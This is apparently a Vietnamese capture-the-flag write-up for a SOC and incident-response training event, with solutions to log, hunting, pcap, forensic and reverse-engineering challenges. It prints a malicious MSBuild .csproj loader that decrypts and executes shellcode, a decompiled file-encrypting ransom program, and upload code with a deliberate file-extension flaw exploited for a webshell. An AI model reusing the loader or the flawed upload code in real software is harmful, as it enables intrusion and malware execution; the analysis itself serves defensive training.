TTGS CTF

On Job Training

Operation

Web Access 01

Flag: 10.207.178.94

Web Access 02

Flag: 64.176.49.124

Web access 03

Flag: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/110.0.0.0 Safari/537.36

Web access 04

Search google "/mgmt/tm/util/bash exploit"

Flag: CVE-2022-1388

Web01

Ở dòng 526 có Shell tạo ra sử dụng tiến trình w3wp.exe => IIS

Flag: iis

Web02

Flag: 1717702892

Alert 01

Flag: PAMAPPS02

Alert 02

Flag: 1657005120

Alert 03

filter hostname PAMAPPS02, có 2 process id ở cột source_process_id => 2328 => tra google

Flag: CVE-2022-22977

Content 02

CT03.001

Flag: LOGSOURCETYPENAME(devicetype)

CT03.002

Flag: LOGSOURCENAME(logsourceid)

CT03.003

Flag: RULENAME(creeventlist)

CT01

Flag: Credbility,Magnitude,Relevance,Severity

CT02

Flag: Display -> Rules

Hunting

Hunt01

Tìm trong file checkinject_unverified.csv, mình thấy có một file tên là SqurrelHP.exe. Thử tra trên VirusTotal không ra gì cũng như tra Google không có thông tin về phần mềm như vậy, ta có thể đoán nó là file bất thường.

Flag: 7C533F1C27C7E1B6C80DAF9E2017F34AF2D54441B937E9220F9A3CD045FA3F28

Hunt02

Bài này mình phải mở hint để có thể tìm được mã độc. Ở trong hint đã có file đã parse sẵn. Mình mở file output_checkSideloadUnverified_checkinject.csv để tìm các file sideload. Do đây là CTF nên mình đã thu hẹp phạm vi tìm kiếm bằng cách filter đi các file có owner là NT AUTHORITY\SYSTEMBUILTIN\Administrator đi vì mình nghĩ khi đã có user này rồi thì sẽ ít khi phải chạy mã độc sideload. Tiếp đến là mình filter các file có Verified cũng như có kết quả trên VirusTotal đi. Sau các thao tác trên thì file này sẽ chỉ còn 2k5 log. Mình hunt từ trên xuống dưới, các file mà xuất hiện ở nhiều máy mình sẽ bỏ qua. Và kết quả đến ở file này:

Tương tự như bài trước thì kết quả trên VirusTotal không trả ra gì, và userenv.dll là một dll trong Microsoft Visual C ++ Redistributable Package chứ không phải Unikey => bất thường

Flag: E4D084FE863EDA82C568430BC7A3AC27

Content 02

PING

Bài này thì chỉ cần để ý các gói tin ICMP, nó sẽ có các kí tự của flag ẩn trong trường data đó. Ghép lại bằng tay ta sẽ có flag.

Flag: flag{P1n9_70_D1E}

CATCH

Sử dụng suricata để chạy lệnh đã cho với file pcap, mình thu được vài output. Do đề bài có nhắc tới queryString nên mình chỉ cần search trên các gói tin giống trong output trả về của suricata là sẽ ra được flag.

Flag: fl4g{CAtch_M3_!F_you_c@n}

BLIND

Bài này thì mình có một file bao gồm rất nhiều các request log, và chúng có vẻ là hacker đang sử dụng SQLMap. Mình sử dụng Cyberchef để URL-decode cả file và lọc đi các thông tin thừa như GET, User-Agent, ...

Do đề bài nói về password, mình có thử grep password và có như sau:

Ghép các kí tự theo đúng thứ tự, mình sẽ có flag.

Flag: flag{y0U_4rE_lynX3yeD}

Forensic

FOR 01:

Với bài đầu này, mình tìm trong Security của Event Viewer và tìm từ khóa run2.bat.

Sử dụng đồng thời với filter xml sau:

[System[TimeCreated[@SystemTime>='2023-08-09T02:35:02.000Z' and @SystemTime<='2023-08-09T02:36:00.999Z']]]

Mình sẽ tìm ra được user cũng như tên máy.

Flag: THVN\mitcadmin

FOR02:

Webshell path:

/api/Uploads/2024_05_26/2bcab3ac-a188-4c54-b197-5d9f808a440e_enadocinfo.aspx

Ở bài này, do đã có sẵn path của webshell và nó nằm trong ngày 26-05-2024, nên mình chỉ cần tìm tên của nó trong file log tương ứng. Ngay phía trên, mình thấy có url gần nhất là chức năng update Profile, có vẻ sẽ là nơi webshell được upload.

2024-05-26 07:51:39 10.192.246.134 PUT /API/API/User/UpdateProfile - 443 t55043008_tptthlp 10.192.246.196 Mozilla/5.0+(Windows+NT+10.0;+Win64;+x64;+rv:126.0)+Gecko/20100101+Firefox/126.0 https://qltsnn.mof.gov.vn/ 204 0 0 41
2024-05-26 07:51:39 10.192.246.134 GET / - 443 - 10.192.246.193 - - 200 0 64 4
2024-05-26 07:51:43 10.192.246.134 GET / - 443 - 10.192.246.195 - - 200 0 0 4
2024-05-26 07:51:43 10.192.246.134 GET / - 443 - 10.192.246.194 - - 200 0 64 4
2024-05-26 07:51:45 10.192.246.134 GET /api/Uploads/2024_05_26/ - 443 - 10.192.246.196 Mozilla/5.0+(Windows+NT+10.0;+Win64;+x64)+AppleWebKit/537.36+(KHTML,+like+Gecko)+Chrome/125.0.0.0+Safari/537.36 - 200 0 0 21
2024-05-26 07:51:45 10.192.246.134 GET / - 443 - 10.192.246.193 - - 200 0 64 4
2024-05-26 07:51:45 10.192.246.134 GET /api/Uploads/2024_05_26/chrome-extension:/igkkmokkmlbkkgdnkkancbonkbbmkioc/sm.bundle.js - 443 - 10.192.246.196 Mozilla/5.0+(Windows+NT+10.0;+Win64;+x64)+AppleWebKit/537.36+(KHTML,+like+Gecko)+Chrome/125.0.0.0+Safari/537.36 - 400 0 0 8
2024-05-26 07:51:48 10.192.246.134 GET /api/Uploads/2024_05_26/2bcab3ac-a188-4c54-b197-5d9f808a440e_enadocinfo.aspx - 443 - 10.192.246.196 Mozilla/5.0+(Windows+NT+10.0;+Win64;+x64)+AppleWebKit/537.36+(KHTML,+like+Gecko)+Chrome/125.0.0.0

Flag: /API/API/User/UpdateProfile

FOR03:

Dựa trên uri up webshell là API updateProfile, mình đã tìm dll liên quan trong source code và sử dụng Dotpeek để đọc code C#. Nó nằm trong EPS.QLTS.Services.WebAPI.Controllers\UserController:

[HttpPut]
    public async Task updateProfile(UserProfile user)
    {
      UserController userController = this;
      using (ITransaction ts = userController._userService.BeginTransaction())
      {
        user.Id = userController.CurrentUser.UserId;
        if (user.AvatarChanged)
          user.Avatar = string.IsNullOrEmpty(user.AvatarData) || string.IsNullOrEmpty(user.AvatarName) ? (string) null : FileHelper.SaveFile(user.AvatarData, user.AvatarName);
        int num = await userController._userService.UpdateAsync<UserProfile, int>(userController.CurrentUser.UserId, new UserProfile[1]
        {
          user
        });
        ts.Commit();
      }
    }

Để ý thấy nó gọi tới hàm SaveFile để lưu thông tin avatar, có vẻ nó sẽ có cơ chế cho thấy cách hacker bypass. Mình đã tìm nó trong EPS.QLTS.Services.Helper\FileHelper.

public static string SaveFile(byte[] fileData, string fileName, string rootPath = null)
    {
      if (!FileHelper.ValidateExtension(fileData))
        return "";
      if (!string.IsNullOrEmpty(fileName))
      {
        string[] strArray = fileName.Split('.');
        if (strArray.Length != 0)
        {
          int index = strArray.Length - 1;
          string ext = strArray[index];
          if (!string.IsNullOrEmpty(ext) && !FileHelper.IsValidExtension(ext))
            return "";
        }
      }
      if (rootPath == null)
        rootPath = ConfigurationManager.AppSettings["FileUploadPath"];
      if (!Path.IsPathRooted(rootPath))
        rootPath = HttpContext.Current.Server.MapPath(rootPath);
      string str = DateTime.Today.ToString("yyyy_MM_dd") + "/";
      if (!Directory.Exists(Path.Combine(rootPath + str)))
        Directory.CreateDirectory(Path.Combine(rootPath + str));
      string path2 = str + Guid.NewGuid().ToString() + "_" + fileName;
      File.WriteAllBytes(Path.Combine(rootPath, path2), fileData);
      return path2;
    }

Đọc code sẽ thấy nó chứa vuln về Double Extension. Theo lý thuyết thì .aspx.png, ... vẫn bypass được bài này, nhưng kết quả lại là đánh vào điều kiện !string.IsNullOrEmpty(ext).

Flag: enadocinfo.aspx.

Reverse

RE01:

Bài cho file jar. Đây là code sau khi decompile:

/* Decompiler 639ms, total 1208ms, lines 144 */
package com.socir.rejava;

import java.math.BigInteger;
import java.util.Scanner;

public class Rejava {
   public static void main(String[] args) {
      int[] Str = new int[13];

      for(int i = 0; i <= 9; ++i) {
         Str[i] = 0;
      }

      boolean YeuHayKhongYeu = true;
      Scanner input = new Scanner(System.in);
      System.out.println("Challenge 1: Take Everything From me but my...\n1. Friends\n2. Purpose\n3. Freedom\n4. Happiness\n5. Intellect");
      Str[0] = input.nextInt();
      if (Str[0] > 5) {
         System.out.println("Please choose correct answer!");
         System.exit(0);
      }

      System.out.println("Challenge 2: When is a light the brightest?\n 1. When it is uncovered\n 2. True light never fades\n 3. After the darkest night\n 4. ...\n 5. ...");
      Str[1] = input.nextInt();
      if (Str[1] > 5) {
         System.out.println("Please choose correct answer!");
         System.exit(0);
      }

      System.out.println("Challenge 3: What would you abandon to protect yourself?\n1. Nothing\n2. Everything\n3. ...\n4. ...\n5. ...");
      Str[2] = input.nextInt();
      if (Str[2] > 5) {
         System.out.println("Please choose correct answer!");
         System.exit(0);
      }

      System.out.println("Challenge 4: A picture of your love sits in front of you. What does it show?\n1. Your beloved sleeping under a willow\n2. Your family gathered around a diner table\n3. A distant beach under a clear blue sky\n4. An open road stretching into the hoziron\n5. The view from atop a mountain");
      Str[3] = input.nextInt();
      if (Str[3] > 5) {
         System.out.println("Please choose correct answer!");
         System.exit(0);
      }

      System.out.println("Challenge 5: You enter a dark room and hear somthing moving. What do you do now?\n1. I use my hand to hit it\n2. I turn on a light to see what is moving\n3. I am in defensive maner and wait for it to reveal itself\n4. I call out to it\n5. I shouted loudly");
      Str[4] = input.nextInt();
      if (Str[4] > 5) {
         System.out.println("Please choose correct answer!");
         System.exit(0);
      }

      System.out.println("Challenge 6: How will the world remember about you?\n1. As a hero\n2. As a normal human being\n3. As an artist\n4. As a scholar\n5. As a leader");
      Str[5] = input.nextInt();
      if (Str[5] > 5) {
         System.out.println("Please choose correct answer!");
         System.exit(0);
      }

      System.out.println("Challenge 7: Together, we...?\n1. Fall\n2. Fight\n3. Stand\n4. Soar\n5. Interbreed");
      Str[6] = input.nextInt();
      if (Str[6] > 5) {
         System.out.println("Please choose correct answer!");
         System.exit(0);
      }

      System.out.println("Challenge 8: You wake up, everyone has forgotten everything about you. What would you do?\n1. I keep living with my own way\n2. I make them remember me\n3. ...\n4. I become a better person\n5. ...");
      Str[7] = input.nextInt();
      if (Str[7] > 5) {
         System.out.println("Please choose correct answer!");
         System.exit(0);
      }

      System.out.println("Challenge 9: In my dream, I am...?\n1. Leaving evẻything behind\n2. In a new world\n3. A superman\n4. With those i love\n5. Living with the past");
      Str[8] = input.nextInt();
      if (Str[8] > 5) {
         System.out.println("Please choose correct answer!");
         System.exit(0);
      }

      System.out.println("Challenge 10: You have a secret. You will...?\n1. Share it\n2. Hide it\n3. ...\n4. ...\n5. ...");
      Str[9] = input.nextInt();
      if (Str[9] > 5) {
         System.out.println("Please choose correct answer!");
         System.exit(0);
      }

      System.out.println("Challenge 11: I lock at the night sky looking for a...?\n1. Life\n2. Answer\n3. Star\n4. Strength\n5. Peace");
      Str[10] = input.nextInt();
      if (Str[10] > 5) {
         System.out.println("Please choose correct answer!");
         System.exit(0);
      }

      System.out.println("Challenge 12: Beauty is...?\n1. Enchanting\n2. Distracting\n3. ...\n4. ...\n5. ...");
      Str[11] = input.nextInt();
      if (Str[11] > 5) {
         System.out.println("Please choose correct answer!");
         System.exit(0);
      }

      System.out.println("Challenge 13: Your diary is full of...?\n1. Stories\n2. Sketches\n3. Poems\n4. To-do lists\n5. Ideas");
      Str[12] = input.nextInt();
      if (Str[12] > 5) {
         System.out.println("Please choose correct answer!");
         System.exit(0);
      }

      System.out.println(Str[0] + Str[12]);
      BigInteger b1 = new BigInteger("396078609314891933825673494155247262312815050451572675702454799882023073657665326629541106640627268633082803092589383353232403142725112797976404596821096464417586738432859825566213522713442484027733196367522486310147688118565978024835573929987058223930781156748056365542272437343976622792417461745500381157036657842926171343287974331824470003165200504970417702345142296049112842947152627718221799985897606357413584878327176061394683714363932809478745907554537681574042917907774415565948481778413963021916168013164917417773105933720249426490998416745519701548698990971558616991286852954365460335847806936031971795444604137083480071779635461995750013255019357626889325496781841702988081870832047915519270093912522090379611112790658737250572060941460311811357397601013756028215728675196364845115892503989449283338784301739977612298423788689251383716116963043938170515625896201692667995733539925283355275332548294202604162464551416741748254200618072179476567262840174541110887055360000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000");
      int n2 = 100 * Str[10] + 10 * Str[11] + Str[12];
      String x = "";
      String y = "";

      int i;
      for(i = 0; i <= 9; ++i) {
         x = x + Integer.toString(Str[i]);
      }

      for(i = 0; i <= 12; ++i) {
         y = y + Integer.toString(Str[i]);
      }

      BigInteger b2 = new BigInteger(x, 10);
      BigInteger b3 = b2.pow(n2);
      if (!b3.equals(b1)) {
         YeuHayKhongYeu = false;
      }

      if (Str[8] == 0) {
         YeuHayKhongYeu = false;
      }

      if (100 * Str[6] + 10 * Str[7] + Str[8] != (10 * Str[11] + Str[12]) * (10 * Str[11] + Str[12])) {
         YeuHayKhongYeu = false;
      }

      if (YeuHayKhongYeu) {
         System.out.println("Flag: SOC_IR{" + y + "}");
      } else {
         System.out.println("You are good, but i just like you as a brother!");
      }

   }
}

Just use factordb:

Flag: SOC_IR{(5243521440112}

RE02:

Hình như cách làm đúng có động tới file exe, mà ban đầu mình không hiểu nó để làm gì nên đã làm chỉ cần shellcode.

Ở bài này, khi mình mở file .csprj, mình thấy có một đoạn mã base64 khá dài:

Và ở cuối mình thấy có một đoạn code C# như sau:

using System;
using System.Text;
using System.Runtime.InteropServices;
using Microsoft.Build.Framework;
using Microsoft.Build.Utilities;
using System.Security.Cryptography;
using System.Runtime.ExceptionServices;
public class Project : Task, ITask
{
    private string _DataProject;
    public virtual string DataProject
    {
        get
        {
            return _DataProject;
        }
        set
        {
            _DataProject = value;
        }
    }
    [DllImport("kernel32", EntryPoint = "VirtualAlloc")]
    private static extern IntPtr Alloc(IntPtr lpStartAddr, UInt32 size, UInt32 flAllocationType, UInt32 flProtect);
    delegate void MyFunction();
    [HandleProcessCorruptedStateExceptions]
    public override bool Execute()
    {
        var inputArray = Convert.FromBase64String(DataProject);
        var key = Environment.ProcessorCount + Environment.GetEnvironmentVariable("PROCESSOR_ARCHITECTURE") + Environment.GetEnvironmentVariable("PROCESSOR_LEVEL") + Environment.MachineName;
        TripleDESCryptoServiceProvider tripleDES = new TripleDESCryptoServiceProvider();
        var keyBytes = Encoding.UTF8.GetBytes(key);
        using(var md5 = MD5.Create())
        {
            tripleDES.Key = md5.ComputeHash(keyBytes);
        }
        tripleDES.Mode = CipherMode.ECB;
        tripleDES.Padding = PaddingMode.PKCS7;
        var cTransform = tripleDES.CreateDecryptor();
        var resultArray = cTransform.TransformFinalBlock(inputArray, 0, inputArray.Length);
        tripleDES.Clear();
        var funcAddr = Alloc(IntPtr.Zero, (UInt32)resultArray.Length, 0x1000, 0x40);
        Marshal.Copy(resultArray, 0, funcAddr, resultArray.Length);
        var myFunction = (MyFunction)Marshal.GetDelegateForFunctionPointer(funcAddr, typeof(MyFunction));
        try
        {
            myFunction();
        }
        catch { }
        return true;
    }
}

Nôm na thì đây là một hàm mã hóa 3DES, với key được lấy như sau:

var key = Environment.ProcessorCount + Environment.GetEnvironmentVariable("PROCESSOR_ARCHITECTURE") + Environment.GetEnvironmentVariable("PROCESSOR_LEVEL") + Environment.MachineName;

Và sau đó key sẽ được mã hóa MD5:

using(var md5 = MD5.Create())
        {
            tripleDES.Key = md5.ComputeHash(keyBytes);
        }

Ở trong các tệp đính kèm, mình có file note.txt có nội dung như sau:

commandline: "C:\Program Files (x86)\BraveSoftware\CrashReports\BraveCrashHandler.exe" C:\Progra~2\BraveSoftware\CrashReports\BraveCrashHandler.csproj
systeminfo:

Host Name:                 ADMIN
OS Name:                   Microsoft Windows 10 Pro
OS Version:                10.0.19044 N/A Build 19044
OS Manufacturer:           Microsoft Corporation
OS Configuration:          Standalone Workstation
OS Build Type:             Multiprocessor Free
Registered Owner:          Admin
Registered Organization:   
Product ID:                00330-80000-00000-AA337
Original Install Date:     4/2/2022, 9:34:15 PM
System Boot Time:          3/5/2024, 10:27:22 AM
System Manufacturer:       System manufacturer
System Model:              System Product Name
System Type:               x64-based PC
Processor(s):              1 Processor(s) Installed.
                           [01]: Intel64 Family 6 Model 42 Stepping 7 GenuineIntel ~3300 Mhz
BIOS Version:              American Megatrends Inc. 0504, 29/6/2012
Windows Directory:         C:\Windows
System Directory:          C:\Windows\system32
Boot Device:               \Device\HarddiskVolume5
System Locale:             en-us;English (United States)
Input Locale:              en-us;English (United States)
Time Zone:                 (UTC+07:00) Bangkok, Hanoi, Jakarta
Total Physical Memory:     7.882 MB
Available Physical Memory: 4.619 MB
Virtual Memory: Max Size:  8.394 MB
Virtual Memory: Available: 4.746 MB
Virtual Memory: In Use:    3.648 MB
Page File Location(s):     C:\pagefile.sys
Domain:                    WORKGROUP
Logon Server:              \\ADMIN
Hotfix(s):                 3 Hotfix(s) Installed.
                           [01]: KB5003791
                           [02]: KB5005611
                           [03]: KB5005699
Network Card(s):           1 NIC(s) Installed.
                           [01]: Realtek PCIe GbE Family Controller
                                 Connection Name: Ethernet
                                 DHCP Enabled:    Yes
                                 DHCP Server:     10.38.251.9
                                 IP address(es)
                                 [01]: 10.38.40.113
                                 [02]: fe80::1187:b4b4:c9de:d729
Hyper-V Requirements:      VM Monitor Mode Extensions: Yes
                           Virtualization Enabled In Firmware: No
                           Second Level Address Translation: Yes
                           Data Execution Prevention Available: Yes
Volume Serial Number:	   7689-E1A1

Dựa trên nội dung của file trên, mình có thể tính ra được key sẽ là 4AMD646ADMIN, hay MD5 là 6094c13fbe36d14605432e0140030a02. Mình sẽ sử dụng CyberChef để decrypt đống Base64 xem có gì

Ở đây mình thu được một chuỗi bytes mà trong đó có cả sự xuất hiện của các hàm WinAPI, có thể đoán đây chính là một shellcode. Mình sử dụng tool shcode2exe để chuyển nó về exe và phân tích bằng IDA. (đoạn này mình chụp trên máy công ty, không hiểu sao ảnh có vẻ mờ)

Đầu tiên khi mình debug thì không hiểu sao nó lại cứ bị lỗi. Mình thử đọc về hàm StartServiceCtrlDispatcherA thì thấy nó trỏ tới function trong ServiceProc nên mình nhảy thẳng tới đó luôn.

Ở đây, nó có tạo một thread để chạy hàm này:

Hàm này sẽ lại gọi tới hàm sub_7ff6d3461884. Mình thấy một đoạn code gọi rất nhiều API, có cả các API để decrypt, nên mình nghĩ nó sẽ decrypt gì đó để thực thi.

Trong đó, key để decrypt là serial_number của ổ C, hay 7689-E1A1, patch vào mem vùng nhớ chứa key A1 E1 89 76, sau đó, nó thực hiện CRC32 để check xem key có đúng không, rồi thực hiện decrypt, kết quả decrypt lại là 1 đoạn shellcode khác và thực thi nó. Hàm này có parameter chứa một file PE, nên mình đã dump nó ra và phân tích.

Về file này thì nó sẽ sử dụng reflective process injection . Tiến hành debug mình sẽ ra được 1 url, có vẻ sẽ được coi là IOC nên mình nộp thử và ra được flag.

Flag: guangdongshop.net

RE03

Với bài này, mình có một file dump và 1 file exe. Đầu tiên mình sẽ load file exe vào trong IDA.

int wmain()
{
  unsigned int v0; // eax
  int i; // esi
  HANDLE FileW; // eax
  void *v3; // edi
  signed int FileSize; // ebx
  _BYTE *v5; // eax
  signed int v7; // esi
  HANDLE v8; // [esp+8h] [ebp-1Ch]
  _BYTE *lpBuffer; // [esp+Ch] [ebp-18h]
  DWORD NumberOfBytesRead; // [esp+10h] [ebp-14h] BYREF
  char v11; // [esp+14h] [ebp-10h]
  __int64 v12; // [esp+15h] [ebp-Fh]
  char v13; // [esp+1Dh] [ebp-7h]

  v11 = 1;
  v12 = 0i64;
  v13 = 0;
  v0 = _time64(0);
  srand(v0);
  NumberOfBytesRead = 0;
  for ( i = 0; i < 10; ++i )
    *(&v11 + i) = rand() % 255;
  FileW = CreateFileW(L"flag.txt", 0xC0000000, 3u, 0, 3u, 0x80u, 0);
  v3 = FileW;
  v8 = FileW;
  if ( FileW != (HANDLE)-1 )
  {
    FileSize = GetFileSize(FileW, 0);
    v5 = malloc(FileSize);
    lpBuffer = v5;
    if ( !v5 )
    {
      CloseHandle(v3);
      return 0;
    }
    ReadFile(v3, v5, FileSize, &NumberOfBytesRead, 0);
    v7 = 0;
    if ( FileSize > 0 )
    {
      do
      {
        lpBuffer[v7] ^= *(&v11 + v7 % 0xAu);
        ++v7;
      }
      while ( v7 < FileSize );
      v3 = v8;
    }
    SetFilePointer(v3, 0, 0, 0);
    WriteFile(v3, lpBuffer, FileSize, &NumberOfBytesRead, 0);
    CloseHandle(v3);
    printf("Send 20k viettel to 0399806924 to restore your data\n");
    system("pause");
  }
  return 0;
}

Có thể thấy, chương trình này sẽ đọc file flag.txt và xor với key có độ dài 10 kí tự, và các giá trị của key được tạo ra ngẫu nhiên sử dụng hàm rand(). Do không có vẻ có vuln gì nên mình nghĩ phải phân tích file memdump để tìm lại được key.

Do key được sinh ra và lưu ở trên stack của hàm main, để ý stack:

Như có thể quan sát,ba giá trị lân cận bao gồm địa chỉ ảo (VA) của flag được hóa, độ dài của falg và chuỗi khóa 10 tự. Để tìm ra key, mình sẽ xác định VA chứa giá trị flag được hóa, sau đó định vị chuỗi 8 byte bao gồm VA FLAG và độ dài của flag đã biết (là 0x18 byte). Để xác định VA của flag được hóa, mình sẽ cho file dump vào IDA và sử dụng tính năng tìm kiếm của IDA (Alt + B) để tìm kiếm chuỗi flag được hóa có trong tệp flag.txt.

Có duy nhất 1 vị trí, vậy VA của flag sẽ là 0x59d4c8 .Do trong ram sẽ sử dụng little-endian, ta phải tìm kiếm chuỗi 8 bytes sau: C8 D4 59 00 18 00 00 00. Có 1 vị trí xuất hiện giá trị này:

Dựa trên những điều đã phân tích ở trên, key decrypt flag chính là: 7A BB 60 97 9A 9C 33 26 45 5C 55.

Sử dụng Cyberchef để xor, mình sẽ tìm lại được flag.

Flag: TTGS{m3m0ry js tk3 b3st}

Last updated